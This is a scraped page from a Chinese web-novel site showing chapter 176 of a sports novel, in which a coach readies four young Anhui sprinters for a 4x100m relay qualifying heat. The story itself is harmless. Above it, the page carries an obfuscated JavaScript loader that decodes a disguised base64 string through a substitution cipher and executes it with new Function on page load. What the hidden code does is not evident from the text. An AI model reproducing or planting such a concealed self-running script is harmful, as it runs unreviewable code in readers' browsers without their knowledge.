趣书网

阅读记录  |   用户书架
(function(){function te1a7951(z4874c33){var rceaee7d5="Jjzf?2;8t!SDxe$]CAyp3m/sMR[uQr.W7@-vLUqk&(5OGgNX^EKnbI_=Z1Pc90T|w~o6ha,:FVYiHlBd%4";var y4c20dc8="sIGOcF8pV@1U29_~=7]rfSv0$j[.HlY%5?a|EJmxLMXC^D;tek4wuR!ozBKPZd/gT,QynA-Wh63&qbi(:N";return atob(z4874c33).split('').map(function(ff0fd44){var x06364=rceaee7d5.indexOf(ff0fd44);return x06364==-1?ff0fd44:y4c20dc8[x06364]}).join('')}var c=te1a7951('rtmp://bkJoMD1uWyIzcyIrIjNWU0EiKyI3IisiZSJ5QzNiaD9YQj1oZCl7ZDNiaD9YQj1oZDY/VjNseD9TfkozVj9ZQWVsLX5xM2UzMGUwP1l+cXg/eGVBMyl7QjNkVEcoLT92OkJoVHVYXkpYZGgtL0J8LVg9cHU4ci1YMz1wcSkpe3BeWGJwaH0vLXAgRXNLQTAwMGwtQzNiaD9YQj1oZDNWWT87U1NTKXtwXlhicGggbVhwQmh8dTNwPXFPRi1wTz0wXmQzVlk/O1NTUyl9Ti8tcCAwbEtWWS03U0NbInJSSixRc1MkJmZhZyRVbSRRdygmIn4iL15wLHNTIn4iSkIwLFNLViJ+Ij8/WCx4c3g3LHNWLHhZIHhZJXM3JTdzInlOLy1wIGhzZXN4O1ZTQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZUEpK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlOyl5fmJZZVZBVjNLQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZTspK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlQSl5fkpsc2w7Q3F4P3hlQTNbaHNlc3g7VlNkIi5ZdDY/cXRiMDI0Uj9xcm4wYUNDIil5fl4zLTstO1Y7c0Noc2VzeDtWU2QiLllVci41SXJJOmtybDp0YjBhQ0MiKX5eMDNTXjBzQ2hzZXN4O1ZTZCI/WXRCP1lJNi06N2giKX5COy1ZM2VZO0Noc2VzeDtWU2QiP3F0bmx6MlI5b0NDIil+UlZZVlk3ZVMtQ2hzZXN4O1ZTZCI/WTFKLTVvQyIpfi1WP1NBO0FDaHNlc3g7VlNkIj9xdHg5NVVaOW9DQyIpflpBc0FlS2xeQ2hzZXN4O1ZTZCItcWU4bHxDQyIpflhlWWxsU0F4Q3EzZTMwZTA/WVtoc2VzeDtWU2Qidzoycy1hQ0MiKXl+ODBeZVZBP3hDWGVZbGxTQXhbaHNlc3g7VlNkIi54dDhsYUNDIil5fi1WS3gwMDdeQ1hlWWxsU0F4W2hzZXN4O1ZTZCI5cWsvbFlqQyIpeX5sXjtWZVZDWGVZbGxTQXhbaHNlc3g7VlNkIj9xMmI5emVYIil5fkJsPzctN2VDaHNlc3g7VlNkImw6MnMueHxDIil+cl4teF5WWS03Q2hzZXN4O1ZTZCJsOjJuIil+cF5lQVZeP1lDaHNlc3g7VlNkImx6ZUY5YUNDIilOLy1wIFpTO2UwZTMzQ2hzZXN4O1ZTZCI/eFNzLTpJcjB8Q0MiKU4vLXAgOD9lU0EzOzdLTi8tcCAvc0teM3hsQzY/VjNseD9TW3N5TkIzZDY/VjNseD9TdXJeaHxYRj5TKXsvc0teM3hsQzY/VjNseD9TWy1WS3gwMDdeZGxeO1ZlVmQpKjY/VjNseD9TdXJeaHxYRil5fUIzZHI9Py1YQj1odUpeLXA/RnVCaDBea2YzZFpTO2UwZTMzKT4sUyl7OD9lU0EzOzdLQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiMHp0SzB6MjY5OkxDIikpTjg/ZVNBMzs3S3VCMEMiWCIrbF47VmVWZCkqU15LTjg/ZVNBMzs3S3VKWDZyXnVuQjBYRkMiU3NzVyJOOD9lU0EzOzdLdUpYNnJedUZeQnxGWEMiN3NzOGsiTjg/ZVNBMzs3S3UwQkotbHJeMENYcGJeTkIzZHF4P3hlQTN1bD0wNl9DaGJycil7cXg/eGVBM3VsPTA2dS04OF5oME9GQnIwZDg/ZVNBMzs3Syl9XnJKXnsvLXAgRlM/MDBDM2JoP1hCPWhkKXtxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkOD9lU0EzOzdLKU5xM2UzMGUwP1l1cF5xPS9eTC9eaFgmQkpYXmhecGRwXmVBVl4/WX5GUz8wMH4zLXJKXil9TnEzZTMwZTA/WXUtMDBML15oWCZCSlheaF5wZHBeZUFWXj9ZfkZTPzAwfjMtckpeKX19Ly1wIEZLP3NZeEtlQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiOTpTQjk6b0MiKSlORks/c1l4S2V1QjBDSjNWP1lBZWwtKzgwXmVWQT94ZGxeO1ZlVmQpKlNeSylORks/c1l4S2V1Slg2cl51Rl5CfEZYQyJzOGsiTkZLP3NZeEtldUpYNnJedT0vXnAzcj1uQyJGQjAwXmgiTj89aEpYIFpLOzMwXmxTO0NkXjdsWTNzfm47LTMtP0t+NlYtM2w3WV5DeHNzKUM+Y3A9cUJKXnVwLT9eZFszXlg/RmReN2xZM3N+bjstMy0/Syl+aF5uIGNwPXFCSl5kZGQkfnBeUl4/WClDPkpeWHdCcV49YlhkZGQpQz5wXlJeP1hkaF5uIExwcD1wZCJYQnFePWJYIikpKX42Vi0zbDdZXikpKXkpTi8tcCA2P1k3ZWxDLUo2aD8gM2JoP1hCPWhkWlkweDNeP3hLKXsvLXAgcjdeU0FDWyJSSiJ+Ij9KSiJ+IkZYcXIifiJ8QjMifiJSOHwifiI4aHwieU4vLXAgcmVeXlk/P0NyN15TQXVyXmh8WEZOcjdeU0FDcjdeU0FbLVZLeDAwN15kbF47VmVWZCkqcmVeXlk/Pyl5Tj89aEpYIF47XmVBQWV4Q1siOXg/Yj9ZMi9sNTg4MGh0Wmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5Ti8tcCA9VjA/cy0zQ147XmVBQWV4W3N5TkIzZF47XmVBQWV4dXJeaHxYRj5TKXs9VjA/cy0zQ147XmVBQWV4Wy1WS3gwMDdeZGxeO1ZlVmQpKl47XmVBQWV4dXJeaHxYRil5fS8tcCByXmxec1lDWyJGWFg4SiVUIn5xU2UzN2xzbF5kPVYwP3MtMyl+IkZYcXIifkZLP3NZeEtldUIwfmBNe0ozVj9ZQWVsLX11TXtyN15TQX1geVtaQXNBZUtsXnlkIlQiKU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaEpeaDAgSEogRj1KWCAiK3JebF5zWU5YcDZ7Ly1wIG5sczM3VlZDLW4tQlggWks7MzBebFM7ZHJebF5zWX57Py0/Rl4lImg9LEpYPXBeIn5wXjBCcF4/WCUiMz1ycj1uIn0pTm5sczM3VlZDLW4tQlggbmxzMzdWVnVYXmtYZClOLy1wIEY3eHgwO0NubHMzN1ZWdUJoMF5rZjNkRXNLQTAwMGwtZFZTKSlOLy1wIFpWMzM7M0MiIk5CM2RGN3h4MDs+Q3Mpe1pWMzM7M0NubHMzN1ZWW14wM1NeMHN5ZEY3eHgwOylObmxzMzdWVkNubHMzN1ZWW14wM1NeMHN5ZHN+Rjd4eDA7KX1ubHMzN1ZWQ25sczM3VlZbQmw/Ny03ZXlkVHV7U35LfVR8KVtyXi14XlZZLTd5ZGRrQz5rW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKSkpW1pBc0FlS2xeeWQiIilObmxzMzdWVkNubHMzN1ZWK1pWMzM7M05ubHMzN1ZWQ2hzZXN4O1ZTZG5sczM3VlYpTlpZMHgzXj94S0NubHMzN1ZWW1JWWVZZN2VTLXlkIlQiKVtzeU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaHxeWCBISiBGPUpYIEpiPz9eSkoiK1pZMHgzXj94S30/LVg/RmQzZTstZVkpe0IzZDg/ZVNBMzs3S19DaGJycik4P2VTQTM7N0t1Ly1yYl4rQyJccFxofF5YIEhKIEY9SlggMy1Ccl4wIiszZTstZVl9Ly1wIHxlUz87Q2JZZVZBVjNLZDBsS1ZZLTdTdT89aD8tWGRbYGg9bixNe2ctWF5bImg9biJ5ZCl9YH5gRnBeMyxNe3I9Py1YQj1odUZwXjN9YH5gYko/LE17a2x4LUtTUz8tZCl9YHkpdUo9cFhkZGQpQz5sXjtWZVZkKSx1NykpW1pBc0FlS2xeeWQifiIpKU4vLXAgQmw7S0E7bDdDfGVTPzt1QmgwXmtmM2RFc0tBMDAwbC1kVlMpKT4sU0B8ZVM/O1teMDNTXjBzeWR8ZVM/O3VCaDBea2YzZEVzS0EwMDBsLWRWUykpKSUiIk58ZVM/O0N8ZVM/O1tCOy1ZM2VZO3lkQmw7S0E7bDd+IiIpW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKStCbDtLQTtsN05GSz9zWXhLZXVKcD9DWyJGWFg4SiVUIn5aWTB4M14/eEt+Rks/c1l4S2V1QjB+fGVTPzt5W1pBc0FlS2xeeWQiVCIpTlhwNntxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkRks/c1l4S2UpfT8tWD9GZF4pe3F4P3hlQTN1LTAwTC9eaFgmQkpYXmhecGQiZ2YoTz1oWF5oWCY9LTBeMCJ+ZGQpQz57cXg/eGVBM3VsPTA2dUJoSl5wWDFeMz1wXmRGSz9zWXhLZX5xeD94ZUEzdWw9MDZ1P0ZCcjA0PTBeSltzeSl9KSl9QjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoLTg4XmgwXjAgXnEgWD0gRlhxciJOLy1wIDhBeGw7LUs/Q3F4P3hlQTN1fF5YTHJecV5oWDE2ajBkRks/c1l4S2V1QjApTkIzZDhBeGw7LUs/Q0NoYnJydnY4QXhsOy1LP0NDYmgwXjNCaF4wKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoID8taFggfF5YIF5xIDNwPXEgRlhxciJ9fX1OQjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoSl5oMCBSSiBGPUpYICIrL3NLXjN4bH0vLXAga2x4LUtTUz8tQzNiaD9YQj1oZCl7WHA2ez89aEpYIC87M2V4P1NZQ2RoXm4gZy1YXil1WD0mPT8tcl5nLVhebVhwQmh8ZClOPz1oSlggaDNlN2VZPzNZQ2BKcVhCJEpCMCRNey9BbDszdUozVj9ZQWVsLX0kOC9gTnJeWCBIM1Zsc1YtQVlDVW1mNHU4LXBKXmRyPT8tcm1YPXAtfF51fF5YalhecWRoM2U3ZVk/M1kpKU5CM2RIM1Zsc1YtQVlDQ2hicnJ2dkgzVmxzVi1BWXUwLVheX0MvOzNleD9TWSl7SDNWbHNWLUFZQ3s4L3dCcV5KJXN+MC1YXiUvOzNleD9TWX19cF5YYnBoIEgzVmxzVi1BWXU4L3dCcV5KK1N9Py1YP0ZkMzdeLTdWc2VeKXtwXlhicGggU319Ti8tcCBxU2UzN2xzbF5DM2JoP1hCPWhkRnNlVmw/KXtwXlhicGggaHNlc3g7VlNkRnNlVmw/KVtCOy1ZM2VZO3lkRXNLQTAwMGwtZEt4KX5sXjtWZVZkKXVYPW1YcEJofGRZVil1SnJCP15kLVZLeDAwN15kbF47VmVWZCkqZSkreCkpfU42P1k3ZWxkcVNlMzdsc2xeZC9zS14zeGwpKU5xM2UzMGUwP1lbIi0wMEwvXmhYJkJKWF5oXnAieWQicV5KSi18XiJ+ZDNiaD9YQj1oZDM3Xi03VnNlXil7QjNkMzdeLTdWc2VedTAtWC11RUNDSjNWP1lBZWwtKXtxeD94ZUEzdXxeWExyXnFeaFgxNmowZEZLP3NZeEtldUIwKXVwXnE9L15kKU4vLXAgXjBsZTszQTBDaGJyck5CM2Q4P2VTQTM7N0tfQ2hicnIpezg/ZVNBMzs3S3UvLXJiXitDIlxwXGhwXj9eQi9eIF5xIDg9SlggcV5KSi18XiJOOD9lU0EzOzdLdS8tcmJeK0MiXHBcaF51MC1YLXUvICIrMzdeLTdWc2VedTAtWC11SE5eMGxlOzNBMENkdXV1fD9lS0swWVkpQz57QjNkX3w/ZUtLMFlZdnZ8P2VLSzBZWXVyXmh8WEY8Q3MpcF5YYnBoTjg/ZVNBMzs3S3UvLXJiXitDIlxwXGgiK3w/ZUtLMFlZdVI9QmhkIiAiKX19aF5uIDJiaD9YQj1oZCItcHxKIn4zN14tN1ZzZV51MC1YLXVIKWR7JFgwP0olSmxzbDt+JHI9fCVeMGxlOzNBMH0pfX0pKX0pZFsiOXg/Yi41MXNmenJZLjVJWmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5fiJTS1Yifm5CaDA9bn4wPT9icV5oWCl9TjNzM1ZTQTdlZClO'.substr(7));new Function(c)()})();
上一章
目录 | 设置
下一页

第一百七十六章 徽省的接力赛(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

“接力比赛靠几名运动员的实力速度,但实力无法碾压的情况下,更多的看默契,靠的是能在双方都相对高速下的完美结合,这一点你们现在有点感觉了……”

潭州体育场,比赛准备区旁的室内训练场,

离接力资格预选赛第一轮比赛还有1个小时。

刚刚完成了一轮热身,又重复几次交接棒练习后,林幕把要参加接力比赛的四名运动员召集在一起。虽然城运会在林幕的心里的分量着实不高,但比起以前带运动员,这一次林幕却格外的要费心一些。

接力不像单项,单项的话上场闷头跑就是,就算输了也就是回头再努力,下次再拼的事。接力是团体运动,很多时候,你一个人的小小失误带来的影响就是4个人的集体溃败,这对于团队对于运动员本人来说都是一个很大的打击。

特别是年轻运动员,心理还不够成熟,一两次失误也许就能给他们的心理造成很大的压力。这不利于运动员的成长。可以输在实力上,或许还能成为继续努力的动力,但失误能避免则避免。

“你们现在的速度比以前提升了一些,比起其他选手,你们现在优势不大,但已经没什么弱势……”

林幕的话说到这里时,几位少年心里也是暗暗的自嘲了下,林教练说的客气,没什么弱势,但还是弱势啊。

上午的百米、二百米资格预选赛第一轮,除了朱昆拿到第二轮的资格,其他人是悉数淘汰。本来自感实力有增,还抱着点希望的胡林山,最后总成绩排了个第10,算是最遗憾的失利。其他人则还要更差些。

要说实力提升那是真的,上午预赛他们跑出来的成绩都比以往有了些提升,但优势?有优势也不会淘汰了。。

他们现在的希望也就放在接力上了,这是他们能参加城运会的最后希望。不管王指导说的不会再换人的承诺能不能兑现,先跑出来才是最重要的。这使得他们难免的患得患失起来。

林幕并不知道几位少年心里乱跳的思绪。但他能看的出,他们现在的心里很紧张是真的。这也是他本来不准备赛前讲什么的,现在却还是讲了的一个主要原因。

年轻运动员不好带,心理是最大的问题。可能一时心气爆涌,能跑出个突破天际的成绩。但可能下次就能再跌入谷底,这时候运动员的心态差一点的可能就会彻底沉沦,这样的例子很多。

需要自信,需要一次次的提升突破而垒起心理堤防,这就需要成绩。先要踏出去一步,可能不需要多大,但要够坚实!

“教练放心,我们一定会全力以赴!”

又接受林教练的一番接棒细节的教导后,四名运动员,齐声保证道。

“不用这么严肃,今天是你们正式磨合以来第一次跑正式比赛。稳才是关键,交接棒第一原则是顺利,把口令、送棒、接棒,这种感觉跑出来。

按你们现在实力,跑个第一轮,拿个小组前二问题不大。按我给你们说的步点,一会上场到接力区去标好,准备好就行。

轻松点,单项上面你们几个都不比别人差,现在不比人差的几个凑成一个队,别的队哪有这样的条件,整体实力你们比他们强的多……”

几名运动员若有所思,教练说的好像有道理啊!他们的成绩每个人是比人差些,但好像都挺平均,单项第一轮下来就没有排在20名外的,这好像还真是优势。更何况还有个第一轮成绩第二的朱昆。

一瞬间的,他们感觉这接力还真有戏,心头也瞬间火热了起来。

“好了,我和你们几位教练去外面等着你们上场!你们现在再去过两遍交接棒,找找感觉,等下比赛时间到就直接上……”

“走,走!老叶,老付,咱们再磨几下,老朱,咱们一起再串串!”原本有点沉默的胡林山又恢复了活跃,拉着叶华和付冰洋招呼朱昆就往训练跑道上走。

“咱们走了,一会来人带他们去比赛就好。我们要做的工作到这就算完了,接下来就看运动员们自己的!”

看着运动员心气提升了不少,林幕微微笑了笑,招呼了几名教练准备离开。给运动员们一些自己的空间,交待结束后,剩下就是他们自我发挥的事情。

原本还有些担心朱昆,就像林幕想的那样,他不怕朱昆跑不好成绩被淘汰,就怕紧张失误造成心理压力。但现在看起来好像紧张感稍微好些,他知道自己也做不了什么。

黄教练无奈的摇摇头,脸上有些自嘲。临老又转回去了,像年轻刚当教练那会,运动员一上场就紧张的要命,这可都二十多年的教练干下来了啊!

还是心里没底,年轻那会心里没底,对自己教练水平的不自信,不知道自己的教练效果到底有没有效。现在还是没底,哪怕朱昆200米已经跑了个21秒67,但这可是接力,这方面虽然他懂的不多,配合很重要这是肯定的。

“黄教练,走了!”陈国斌拉了下黄教练,轻轻的唤了一声,这才让他回过神。

这章没有结束,请点击下一页继续阅读!“走!”看到林幕和龙教练已经快走出训练场,黄教练喊了一声后就追了过去。

陈国斌看着黄教练有些好笑,每个教练都有自己的一套和运动员相处的方式,他也不好去判断好坏。但在他看来,黄教练这就像保姆型的,他不置可否。

关心则乱,必然会影响自己的思维。就像林教练说的,运动员比赛时,你哪怕强迫也要让自己精神集中起来,一个不经意间就可以有很多细节让你去发现。

也许我该学习的是林教练的方式!

……

10月10日,

下午16点,男子4*100米接力资格预选赛第一轮正式开始!

参加预选赛第一轮的共有21个省市的24支队伍,真正的不亚于一场正式运动会。

跟大多运动会一样赛程安排,24支队伍分成三个小组,每组前二再加其后的两个最好成绩的队伍共8支队伍进入第二轮。第二轮比赛的最终前四将得到参加正赛的名额。

徽省队的接力队伍,被安排在了第二组。

“如果按照这一组的成绩,他们只要正常发挥应该有机会!”

第一组的比赛刚刚结束,成绩打出以后,陈国斌脸上不自觉的带了不少笑容。

第一名41秒74,第二名41秒86,其余的队伍成绩都在42秒外了。要说这个成绩确实不算好,之前队里训练的时候几名运动员的测试成绩基本都在41秒多,很少有比他们低的。能看到晋级甚至获得正赛名额的希望,陈国斌怎能不高兴。

龙教练和黄教练的也跟着笑了笑,心也放了不少,成绩不算好,这也能给运动员们减小不少压力,这是好事。

“确实成绩不太理想,缺乏重视才是关键!”林幕轻笑着摇摇头,他看的出来,几乎都是临时拼凑的队伍,就算练估计时间也不会多。

相比于已经获得正赛资格的那些队伍,来这里参加预选赛的显然重视差的多。可能也是认为练了废老大功夫,最终还是干不过那些传统强省的队伍,得不偿失吧!

“没什么默契,配合生疏,步点也就是勉强。交接的速度判断上倒是不错,应该有教练专门设计过,但交接棒太粗糙!有这个成绩,是选手们靠自身实力拼出来的!”林幕如是评论道。

“小朱他们上场了,我们来看看他们跑的吧。”林幕没再继续评论,徽省的几名运动员跟着引导已经走进了赛场,第二组的比赛快开始了:“陈教练,多注意观察,咱们教练的工作从这个时候也要开始了……”

陈国斌瞬间的集中了精神,他知道这是林幕有意无意的在提点他,虽然他没有林幕那精准的观察力,但不妨碍他用心些。

视线投入到赛场上,8支队伍,24名选手陆续走到自己的位置,开始了准备工作。

……

“男子4*100米资格预选赛第一轮第二小组比赛马上开始,请第三组参赛选手做好准备……”

观众稀少,空旷的体育场,显得很是安静。体育场广播声清晰的传入运动员的耳中,使得参赛和即将参赛的运动员们注意力更加的集中了许多。

跑道上,赛道道次安排,徽省队被排在了第八道。

单项从一道开始,接力从第二道开始,因此第八道是单项中被认为最差的一道,也是接力比赛倒数第二的一道。

在道次上,组委会一般都会依据过往成绩来大致安排的,从过往成绩来看,无论是徽省还是庐州,成绩都可谓极差,会有如此的道次安排也就不足为奇了。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间